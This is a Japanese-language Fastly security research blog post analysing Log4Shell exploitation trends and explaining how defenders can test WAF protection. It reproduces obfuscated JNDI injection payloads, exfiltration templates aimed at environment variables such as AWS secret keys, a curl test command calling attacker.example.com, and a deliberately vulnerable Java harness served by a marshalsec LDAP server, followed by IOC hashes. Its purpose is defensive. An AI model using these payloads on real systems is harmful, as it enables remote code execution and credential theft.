Log4Shell 攻撃 (CVE-2021-44228 + CVE-2021-45046) に関する新しいデータとインサイト
Fastly Security Research Team, Fastly
Staff Security Researcher, Fastly
Staff Security Researcher
背景
* この脆弱性への対応には、パッチの適用が最も推奨されている改善策です。
* この脆弱性は現在も広く出回っており、悪用されています。
* Fastly WAF をご利用のお客様は、ルールを有効にすることでこの脆弱性から保護できます。
CVE-2021-45046 - Log4j 2.15 のパッチは不完全だったため、2.16 がリリースされました
要旨
先週、先日公開された Log4j の脆弱性 (通称 Log4Shell) に関する詳細と、それを悪用する (あるいは悪用を試みている) 攻撃者の初期所見をまとめた記事を公開しました。攻撃者は脆弱なログパイプラインにテキストを送信し、脆弱なホストで任意のコードを実行します。簡単に悪用可能であること、Log4j のフットプリントが広範囲である (Java ベースのビジネスアプリケーションの多くがログライブラリとして使用している) ことから、この脆弱性は瞬く間にクリプトマイニングやボットネットによる攻撃キャンペーンで悪用され、攻撃者にとって恰好の市場機会となりました。
攻撃者は、今後もこの脆弱性を広い範囲で悪用し続けると見られています。そのため、今回は最新データとインサイトを共有することで、エンジニアリングコミュニティがこの脆弱性を悪用した攻撃に対応できるようサポートします。また、最近新たに報告された多くの難読化した手法に対して環境をテストする際のガイダンスについても紹介します。
詳細
前回のトレンドラインでは、最初の24時間 (12月9日15:30 GMT から12月10日15:30 GMT) において攻撃数が急増したことが明らかになりました。この傾向はその後4日間 (12月14日15:30 GMT まで) 加速し続けたことから、攻撃者による脆弱性への関心が続いていることが示唆されました。このデータは攻撃者と防御者両方の活動に基づくものである一方、インターネット上ではまだ問題が収束していないことが見受けられます。人々はこの脆弱性の悪用による影響を調査しながら、急速に変化する状況に対処しようとしているのが現状です。
攻撃者は依然として LDAP を主な標的のプロトコルとしており、その利用は攻撃の86%以上で確認されています。しかし、URI にて JNDI コールバックが許可するプロトコルが利用されていることも判明しました。
回避策
この脆弱性に関しては現在世界中の Twitter、フォーラム、グループチャットなどで活発な議論が行われており、関心が高まっています。このような議論は、Log4Shell の悪用者によるセキュリティ対策や監視の回避方法に関する研究を後押しし、効果的な防御策の開発にも役立っています。
以前のブログ記事でご紹介したペイロードのオリジナルテンプレートは、${jndi:ldap://example.com:1234/callback} でした。この文字列は、防御のために簡単にマッチできます。jndi:ldap:// を ${} で囲い、両方ともログ内の検索や WAF ルールに正規表現を記述する際に非常に便利な識別子です。ただし、どのパーサーでも、ネストされたステートメントの評価は、テキストの識別において複雑性を増大させてしまう可能性があります。Log4j で使用されるテンプレートパーサーは、ネストされたテンプレートを簡単に展開できるため、異なる手法を同じ文字列に対して評価できます。ログからいくつかの手法を抽出したところ、下記の通りどれも同じ結果となるため、攻撃を検出するために単純なヒューリスティックを作成することが難しくなっています。
${jn${lower:d}i:l${lower:d}ap://example.${lower:c}om:1234/callback}
${${lower:${lower:jndi}}:${lower:ldap}://example.com:1234/callback}
${${::-j}${::-n}di:${::-l}d${::-a}p://example.com:1234/callback}情報漏洩
過去4日間で、相当数の攻撃者がテンプレートを使用して、環境変数と Java システムプロパティからデータの抽出を試みていることが確認できました。${jndi:ldap://example.com:1234/callback/${env:USER} は、この手法の一例です。
このテンプレートが評価されると、文字列 ${env:USER} は JVM を実行したユーザー名に置き換えられます。Fastly のテレメトリ分析から、固有 URI 全体の35%において、データ抽出に焦点を当てたテンプレートが最低ひとつ含まれていることがわかりました。攻撃者の間で最も利用されているテンプレートは、以下の通りです。
${env:PATH}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_ACCESS_KEY_ID}
${sys:user.name}
${sys:java.version}
${sys:os.version}
${env:USER}
${java:os}
${date:MM-dd-yyyy}
${date:dd:MM:yyyy}Web アプリケーション攻撃ツール
初回のテンプレートインジェクションを行うために、少数のテスト用サイトが頻繁に利用されていることが確認されています。これらのサイトの大半は有名なセキュリティツールに関連付けられており、研究や認定テストに合法的に利用されることもある一方で、攻撃者に利用されるケースもあります。12月9日から12月14日までに観測された固有 URI の91%は、以下の4つのドメインで占められています。
いずれの場合も、サイトはテストを実行するユーザーに関連付けられた固有の識別子であるサブドメインを使用しており、これが固有のインスタンスの数に関連しています。通常、このようなサイトはアクティブな LDAP リスナーの実行をサポートしていないため、コールバックが配信されても完全なエクスプロイトチェーンに至ることはありません。しかし、攻撃者はレスポンスが正常にトリガーされたというログを受け取り、その後、別のツールやサイトを使用して攻撃を仕掛けることができます。
ペイロード
初日に配信された初期のペイロードは、単純な情報用コールバックや基本的なコマンドの実行で構成された、シンプルなものでした。ところが、時間が経つにつれて、最終的なペイロードによる攻撃も進化を遂げることになってしまいました。
Fastly では、ホストレベルのコマンドが curl や wget などの Unix コマンドを実行するために Runtime.getRuntime().exec() の呼び出しを継続して行い、さらに最近では PowerShell を実行した痕跡も確認されました。さらに、ある wget のインスタンスでは、ホストの /etc/hosts ファイルが抽出されており、攻撃先のホストを解読しようとしている攻撃者の意図が明確でした。PowerShell で逆コンパイルされた Java クラスの1つは、HttpURLConnection を使用して、ホストが属している Active Directory ドメインに関するホストレベルの詳細をアップロードしました。これは攻撃者が、企業に対してスケーラブルな攻撃キャンペーンを仕掛けようとしている兆候です。
別のエクスプロイトチェーンでは、攻撃者が DDoS ボットネットの Gafgyt というマルウェアをホスト上にインストールし、実行しようとしている企てが確認されました。本ブログの末尾の「セキュリティ侵害インジケーター (IOC)」にて、確認されたファイルのハッシュとファイル名を公開しています。
解決策
攻撃サンプルのテスト方法
攻撃サンプルの有効性、つまり攻撃サンプルが環境内で実際に攻撃に成功するかどうかを評価することは、困難な作業です。幸い、攻撃サンプルをテストする方法は数多くあります。最も簡単なのは、脆弱なサービスに以下の curl コマンドを使用する方法です。波括弧内をご自分のペイロードに置き換え、末尾の部分が WAF で保護されたサービス (Java アプリケーションにログインするサイトなど) を表すようにします。
curl -X GET -H 'User-Agent: ${jndi:ldap://attacker.example.com:1389/a}' 'https://wafprotected.example.com'この攻撃サンプルは、ダウンストリームのログシステムに対して実行されるため、脆弱性のある状態でテストを行う場合は、関係する利害関係者と必ず事前に調整を行ってください。curl の使用に加えて、Burp Suite (Log4Shell スキャナーの作成元)、Postman、WAF テストツールなどの洗練されたツールを使い、これらのサンプルをユーザーエージェント文字列だけではなく、リクエストにてさまざまな場所に送信することができます。
上記のスクリーンショットからもわかるように、ペイロードは WAF によって検出され、ブロックされています。
ペイロードの有効性チェック
ペイロードをアプリケーションに正常に送信できたとしても、それだけでは攻撃サンプルが実際にアプリケーションを悪用できるわけではありません。サンプルペイロードの有効性をテストするには、基本的な Java アプリケーションを作成してテストするのが最も簡単な方法です。以下は、テストに使用できる簡単な Java アプリケーションの例です。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTestHarness {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String userInput = "${jndi:ldap://127.0.0.1:1389/a}";
logger.error("this is a thing {}", userInput);
}
}始める前に、いくつかの注意事項があります。まず、環境に合わせて com.sun.jndi.ldap.object.trustURLCodebase のシステムプロパティを設定します (上記の例を参照)。最新の Java リリースでは、プロパティのデフォルト値は「false」に設定されている点にご注意ください。最も重要な変数は userInput 値で、悪用する際 Log4j に渡す不正なテストペイロードをここに入力します。
アプリケーションをコンパイルし、実行の準備ができたら、次に LDAP サーバーを立ち上げます。このサービスの立ち上げには、marshalsec などのツールを使用することをお勧めします。リポジトリの説明に従い marshalsec のクローンを作成し、コンパイルが完了したら、以下のコマンドを実行してサーバーを起動します。
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8888/#Exploit"marshalsec LDAP サーバーの起動後、コンパイル済みの Log4j テストアプリケーションを実行し、アプリケーションがサービスに接続できることを確認します。JNDI 攻撃ペイロードが成功した場合、以下のような出力が表示されます。
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to
http://localhost:8888/Exploit.class
前回のブログ記事でもご紹介したように、詳細なサンプルリポジトリをこちらに用意しましたので、アプリケーション作成の参考にしてください。
Fastly のお客様への対処
では、WAF によって Log4Shell 攻撃からサイトが効果的に保護されていることを、どのように確認すれば良いでしょうか。そのためには、まずお客様の環境において適切なルールが有効になっていることを確認します。
Fastly (旧 Signal Sciences) の次世代 WAF のお客様は、前回のブログ記事に記載されている手順に従ってください。
ルールをデプロイする場合、Fastly Web アプリケーションファイアウォール (2020) をご利用のお客様は以下の操作を行います。
該当する WAF の
Manage Rulesページに移動するCloneタブから、アクティブな WAF バージョンのクローンを作成し、ドラフトを作成する検索スコープを
Scope:"Include all"に設定し、CVE-2021-44228を検索するBlock または Log モードでルールを追加し (
Add Rule)、有効化する (Activate)
従来型の WAF をご利用のお客様は、この脅威に対する VCL ベースの対策をデプロイすることができます。この設定の適用についてサポートをご希望の場合は、CSOC (securitysupport@fastly.com) までお問い合わせください。
また、より強化されたフィルタリングをご希望のお客様にお応えして、Log4Shell 攻撃で使用されている手法を検出・ブロックする、より厳格なルールを導入しました。これらの対策とその適用方法のオプションについてはこちらをご覧ください。
まとめ
これらの脆弱性への対応には、パッチの適用が最も推奨されている改善策です。12月14日現在、Apache によって Log4j 2.16.0 がリリースされていますが、このパッチはこれらの脆弱性を修正するだけでなく、デフォルトで JNDI 機能を完全に無効化します。さらにこのパッチは CVE-2021-45046 で指摘された JNDI のルックアップ問題も解決します。
この脅威が進化し続ける中、Fastly では今後も状況を監視し、お客様に適切なセキュリティ対策を提案していきます。
セキュリティ侵害インジケーター (IOC)
Java classes
bb6967f006c0680874389c54b2322707a41e16e5 exp.class
0679b5145c208091f06928bb4601940b0efb86bf exploit.class
ff30416ab305aada2a0e3fbbd05ca32e82438f1c Log4jRCE.class
0679b5145c208091f06928bb4601940b0efb86bf exploit.class
5fcff086eafd4bed4e42687427fd00910fe26b1e ExploitD.class
bd97f9eba8b7a879d775714ee1a4a815b73fd210 Exploit.class
dc7d2d19e3893b810be6a5a280a5eed79342367a Runner.class
Dc7d2c3b0286b7d36a1382b6b4dca1afeb5448e2 Runner.class
4c2ddff1ca4003ca5e3ad897363b55c21041155d ExploitD.class
b3651f2e069c9db83f35eda3cc663ecfb8167d99 Exploit.classDDoS malware delivered through Log4Shell Chain
b1ea87a2db9756bfe8328ac0dd1204c4501e63f4 pty1
12dff86ffceaa394adbd9355e3affe7730b34fa5 pty2
e3eb1e98ca477918154b9ed7bcc2b7fe757c1020 pty3
31516a917e8b1fe083de5f64dbcb413681c62ff2 pty4
4dafb50d1de86068915ed71dcc97f5ccc78f6123 pty5
